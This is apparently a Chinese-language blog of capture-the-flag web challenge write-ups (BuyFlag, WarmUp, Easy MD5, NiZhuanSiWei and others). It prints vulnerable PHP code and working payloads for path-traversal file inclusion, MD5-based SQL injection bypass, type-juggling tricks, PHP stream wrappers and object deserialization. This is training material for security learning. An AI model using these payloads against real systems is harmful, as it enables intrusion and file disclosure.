[极客大挑战 2019]BuyFlag

image-20220307015355952

像这种界面的好像一般都是左上角或者右上角是关键来着的

image-20220307015645038

这里提示我们要 "一定是CUIT的学生!!你必须回答正确的密码!!"

老规矩,不知道下一步干啥就查看一下源码

image-20220307015937976

真的很讨厌代码审计(因为不会),但是不慌,咱良好的英语功底和 VB功底(vb超菜)还是在的

if (isset($_POST['password']))

这里的有个POST['password],可以考虑是不是说明password要post请求,必须满足这个条件才能执行接下来的语句

image-20220307021013305

查了一下这个语句,说明password必须不是数字才行,如果是数字,就执行elseif的语句,需要password为404多一个文本(比如404xjw啥啥的),好嘞看完了

反手一个抓包,提示 Only Cuit's students can buy the FLAG

image-20220307124457468

我这里修改了一下user(0=>1)和请求(GET=>POST)的参数

image-20220307124725114

看样子我们已经成功混入Cuits的学生队伍了,提示要密码

image-20220307130526266

密码要文本形式的,输入404xjw,不知道为啥不行救命


知道啦,在某帅哥的帮助下成功找到原因,改了字符编码(UTF-8,宋体),就可以正常输出了

image-20220307191445127

密码终于Right了呜呜,然后下一行它说要付钱,走起

image-20220307192855702

搞定,哦哦,这里1e9是用科学计数法弄的,如果直接输入100000000的话,会显示长度超标的,还试了用十六进制编码,也超过了

[HCTF 2018]WarmUp

明明这道题在很前面,但是硬生生到现在才做哈哈哈哈哈

image-20220820210342749

溘然出现了个猥琐笑脸,猥琐且无用哈哈哈哈,看一下源码

image-20220820212411464

有个source.php被注释掉了,去访问一下

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            //新创建一个白名单
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
                //判断传入的page值是否是字符串,要求$page为字符串,否则返回false
            }

            if (in_array($page, $whitelist)) {
                return true;
                //page是否存在白名单中,存在则返回true
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );//mb_strpos==>查找字符串在另一个字符串中首次出现的位置
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            //解码已编码的 URL 字符串
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])        //判断传入的file值是否为空
        && is_string($_REQUEST['file'])  //判断是否是字符串
        && emmm::checkFile($_REQUEST['file'])    //checkfile()函数对file值进行校验
    ) {
        include $_REQUEST['file'];       //需要通过file值进行包含
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  

看了前几句发现还有个hint.php

image-20220820212722621

访问一下,提示我们flag在ffffllllaaaagggg里面,留个心眼,继续看source

一些关键部分的代码已经在上面标注出来了,大概要求就是

1.值为非空
2.值为字符串
3.能够通过checkFile()函数校验
  否则出现滑稽表情

因为服务器端会自动对url编码进行一次解码,checkfile()函数也会解码一次,所以对hint.php或者source.php后面的问号需要进行两次url编码

又因为我们不知道ffffllllaaaagggg文件存放的具体位置,所以就依次增加../,直到到达ffffllllaaaagggg目录下

?file=source.php%253f%2f../../../../ffffllllaaaagggg

[ACTF2020 新生赛]BackupFile

image-20220822163522115

原来想用御剑扫一下目录的,试下来没什么可用的,也不知道是我没选全还是怎么的,用御剑做题目确实是很难扫全

image-20220822163605279

回去看一下题目标题

image-20220824135212899

说到备份文件就会想到要访问index.php.bak嘛,果不其然,文件里有

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

需要输入的key为123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3才行,但是浅看一下会发现这个是个弱类型,如果输入他要求的key值必然会echo一个"Just num!",所以我们直接

?key=123

[BJDCTF2020]Easy MD5

页面有个提交框,试了试发现提交什么都没变化,就试着抓了一下包

image-20220824141625070

发现有个Hint:select * from 'admin' where password=md5($pass,true),显然就是用md5进行注入了

ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,这个字符串前几位刚好是' or '6
而 Mysql 刚好又会把 hex 转成 ascii 解释,因此拼接之后的形式是1select * from 'admin' where password='' or '6xxxxx',等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数

输入框内可以看到出现了一个新页面

image-20220824180252435

右键查看源代码

$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.

养成了个看到md5就试一下数据绕过的习惯

输入:?a[]=1&b[]=2

直接就可以了,但是感觉这一关考的不是md5数组绕过啊喂,就继续看看,这里要求a和b输入值不相同,md5加密后的值弱类型相等,就想到了0e的科学计数法

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

可以用这两个,也是ok哒,又出现了一个新关卡

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
} 

这里跟上一关卡乍一看别无二致,但是这里两个值需要强类型相等

还是老样子先上数组绕过

param1[]=1&param2[]=2

好喜欢这种一道题好几关又不难的感觉吼吼吼

[ZJCTF 2019]NiZhuanSiWei

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

这题跟上次云爆的那个比赛的赛题只能说yyyy了嘿嘿

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

这里就不解释了,不太明白的去参考一下这一篇的文件包含那道题第一届云剑杯(NExpC10ude_云爆) - Melody_许的博客 (qw1k.cn)然后就出来了一串base64编码

image-20220824185441365

想着接下来的代码肯定就跟上面$password = unserialize($password)有关了

<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

在本地对其进行序列化

$a=new Flag();
echo serialize($a);

image-20220824230339188

加了password参数发现还是不行,突然反应过来自己没有把file文件的伪协议改回来救大命哈哈哈哈

?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

image-20220824233103943

哇酷哇酷,第一次尝试反序列化,发现也没有想象那么恶心